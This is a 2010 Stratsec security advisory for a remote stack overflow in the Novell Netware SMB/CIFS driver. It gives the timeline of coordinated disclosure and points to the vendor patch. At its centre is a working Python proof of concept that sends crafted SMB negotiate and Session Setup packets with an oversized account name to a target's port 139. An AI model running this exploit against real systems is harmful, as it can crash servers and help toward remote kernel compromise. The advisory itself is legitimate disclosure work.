Netware – SMB Remote Stack Overflow (PoC)
=============================================================================== Stratsec Security Advisory: SS-2010-006 =============================================================================== Title: Netware SMB Remote Stack Overflow Version: 1.0 Issue type: Stack Overflow Affected vendor: Novell Release date: 17/06/2010 Discovered by: Laurent Gaffié Issue status: Patch available =============================================================================== Summary ------- A vulnerability exists in the Netware CIFS.NLM driver which allows an attacker to trigger a kernel stack overflow by sending a specific 'Sessions Setup AndX' query. Successful exploitation of this issue will result in remote code execution with kernel privileges. Failed attempts may result in a remote denial of service. Description ----------- The Server Message Block (SMB) protocol, also known as Common Internet File System (CIFS) acts as an application-layer protocol to provide shared access to files, printers and Inter-Process Communication (IPC). It is also a transport for Distributed Computing Environment / Remote Procedure Call (DCE / RPC) operations.After negotiating a SMB communication the client sends a 'Session Setup AndX' packet to negotiate a session, to be able to connect on a specific share. By sending a specially crafted request packet containing a long 'AccountName' value, it is possible trigger a kernel stack overflow. Impact ------ A remote attacker may be able to remotely execute code with kernel privileges on affected Netware systems. Failed attempts will result in a denial of service. Affected products ----------------- Netware version 6.5 SP8 and prior. Proof of concept ---------------- import sys,socket from socket import * if len(sys.argv)<=1: sys.exit('usage: python netware.py IP_ADDR') host = sys.argv[1],139 payload = "A" * 200 packetnego=( "\x00\x00\x00\x9a" "\xff\x53\x4d\x42\x72\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00" "\x01\x3d\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52" "\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" "\x4d\x49\x43\x52\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x29\x4f" "\x52\x4b\x53\x20\x33\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d" "\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x44\x4f\x53\x20\x4c\x41" "\x4e\x4d\x20\x4e\x32\x2e\x31\x00\x02\x57\x69\x6e\x64\x6f\x77" "\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" "\x73\x20\x33\x2e\x31\x61\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30" "\x2e\x31\x32\x00" ) packetsession=( "\x00\x00\x01\x3e" "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9\x19\x01\x00\x81\x61" "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18" "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x28\xd4\xce" "\xd7\x93\xc8\x8b\x16\x5f\x42\x2a\x7a\xfd\x15\x7a\xfd\x15\x7a\xfd"+payload+ "\xef\xa5\x42\x5e\x5c\x2d\x4b\x1a\x1c\x59\x4f\x00\x57\x4f\x52\x4b" "\x47\x52\x4f\x55\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e" "\x30\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff" "\x00\x00\x00\x02\x00\x01\x00\x1f\x00\x00\x5c\x5c\x57\x49\x4e\x2d" "\x45\x37\x4a\x30\x4f\x4e\x49\x4d\x53\x45\x33\x5c\x55\x53\x45\x52" "\x53\x00\x3f\x3f\x3f\x3f\x3f\x00" ) ## chained Session Setup Andx, tree connect command, field = username, basic stack overflow. s = socket(AF_INET, SOCK_STREAM) s.connect(host) s.send(''.join(packetnego)) s.send(''.join(packetsession)) print "done !" Solution -------- Apply NSS update located at: * http://download.novell.com/Download?buildid=tMWCI1cdI7s~ This patch has not been verified by stratsec. Response timeline ----------------- * 07/02/2010 - Issue discovered. * 10/02/2010 - Vendor notified. * 10/02/2010 - Vendor acknowledged receipt of advisory. * 11/02/2010 - Vendor confirmed issue presence. * 16/06/2010 - Patch released by vendor. * 17/06/2010 - stratsec advisory published. References ---------- * Vendor advisory: http://download.novell.com/Download?buildid=tMWCI1cdI7s~ =============================================================================== About stratsec -------------- Stratsec, specialises in providing information security consulting and testing services for government and commercial clients. Established in 2004, we are now one of the leading independent information security companies in the Australasian and SE-Asian region, with offices throughout Australia and in Singapore and Malaysia. For more information, please visit our website at http://www.stratsec.net/ |